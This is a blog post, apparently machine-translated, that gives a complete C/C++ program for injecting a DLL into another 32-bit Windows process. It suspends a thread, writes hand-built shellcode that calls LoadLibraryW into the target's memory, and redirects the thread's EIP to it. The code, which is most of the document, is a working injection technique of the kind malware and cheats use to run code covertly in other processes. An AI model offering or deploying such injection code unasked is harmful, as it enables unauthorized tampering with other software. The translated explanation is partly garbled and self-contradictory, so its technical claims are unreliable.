[DLL injection] C/C++ modify EIP to achieve DLL injection

background

Suspend the target process, stop the conversion of the target process EIP, open the space in the target process, and then copy the relevant instruction machine code and data into it, and then modify the target process EIP to forcefully jump to the relevant machine code we copied in Position, perform correlation, and then jump back. The following example is to implement DLL injection, but the usual remote code injection is different in the injection logic, but at the same time, an important conclusion is used: the export function addresses of many system dlls are the same in different processes. .

Pay attention to two problems:
1. If
    call is directly an address, you need to calculate call RVA-the next address of the call instruction RVA-(nowaddress + 5) //+5 is because the call dword is length 5 1+4
2.jmp jumps directly The transfer address is also the same as the address of the
    jmp RVA-jmp instruction. RVA-(nowaddress + 5) //+5 is because the length of the jmp dword is 5 1+4
Tip
There is also to know that the address of Kernel32.LoadLibraryW is different. Same, so you can get the relevant RVA directly

#include "stdafx.h" 
#include <string> 
#include <windows.h> 
#include "AnalyzeAndRun.h" 
using namespace std; 


WCHAR pDllPath[] = L"C:\\TestDllMexxBoxX32.dll"; //被注入dll的路径(32位) 
VOID Test(){
    
     
HWND hWnd=::FindWindow(NULL,L"AAA"); //注入的线程对应窗体的title AAA, 
//主要就是为了获得tid 和 pid 这个地方可以对应修改,通过别的姿势获取。 
if(hWnd==NULL){
    
     
MessageBox(NULL ,L"未获取窗口句柄!",L"失败",MB_OK); 
return; 
} 
DWORD pid,tid; 
tid=GetWindowThreadProcessId(hWnd,&pid); 
if(tid<=0){
    
     
MessageBox(NULL ,L"未获取线程ID",L"失败" ,MB_OK); 
return; 
} 
if(pid<=0){
    
     
MessageBox(NULL ,L"未获取进程ID",L"失败" ,MB_OK); 
return; 
} 
HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid); 
if(hProcess <= 0){
    
     
MessageBox(NULL ,L"未获取进程句柄",L"失败" ,MB_OK); 
return; 
} 
HANDLE hThread=OpenThread(THREAD_ALL_ACCESS,FALSE,tid); 
if(hThread <= 0){
    
     
MessageBox(NULL ,L"未获取线程ID",L"失败" ,MB_OK); 
return; 
} 
SuspendThread(hThread); //挂起线程 


CONTEXT ct={
    
    0}; 
ct.ContextFlags = CONTEXT_CONTROL; 
GetThreadContext(hThread,&ct); //获取,保存线程寄存器相关 


DWORD dwSize = sizeof(WCHAR)*1024; //0-0x100 写代码 之后写数据 
BYTE *pProcessMem = (BYTE *)::VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE); 
DWORD dwWrited = 0; 
::WriteProcessMemory(hProcess, (pProcessMem + 0x100), pDllPath, //先把路径(数据)写到内存里,从0x100开始 
(wcslen(pDllPath) + 1) * sizeof(WCHAR), &dwWrited); 



FARPROC pLoadLibraryW = (FARPROC)::GetProcAddress(::GetModuleHandle(L"Kernel32"), "LoadLibraryW"); 
BYTE ShellCode[32] = {
    
     0 }; 
DWORD *pdwAddr = NULL; 


ShellCode[0] = 0x60; // pushad 
ShellCode[1] = 0x9c; // pushfd 
ShellCode[2] = 0x68; // push 
pdwAddr = (DWORD *)&ShellCode[3]; // ShellCode[3/4/5/6] 
*pdwAddr = (DWORD)(pProcessMem + 0x100); 
ShellCode[7] = 0xe8;//call 
pdwAddr = (DWORD *)&ShellCode[8]; // ShellCode[8/9/10/11] 
*pdwAddr = (DWORD)pLoadLibraryW - ((DWORD)(pProcessMem + 7) + 5 ); // 因为直接call地址了,所以对应机器码需要转换,计算VA 
ShellCode[12] = 0x9d; // popfd 
ShellCode[13] = 0x61; // popad 
ShellCode[14] = 0xe9; // jmp 


pdwAddr = (DWORD *)&ShellCode[15]; // ShellCode[15/16/17/18] 
*pdwAddr = ct.Eip - ((DWORD)(pProcessMem + 14) + 5); //因为直接jmp地址了,所以对应机器码需要转换,计算VA 
::WriteProcessMemory(hProcess, pProcessMem, ShellCode, sizeof(ShellCode), &dwWrited); 
ct.Eip = (DWORD)pProcessMem; 
::SetThreadContext(hThread, &ct); 


::ResumeThread(hThread); 
::CloseHandle(hProcess); 
::CloseHandle(hThread); 


} 
int _tmain(int argc, _TCHAR* argv[]){
    
     
Test(); 
return 0; 
}

Guess you like

Origin blog.csdn.net/Simon798/article/details/110253377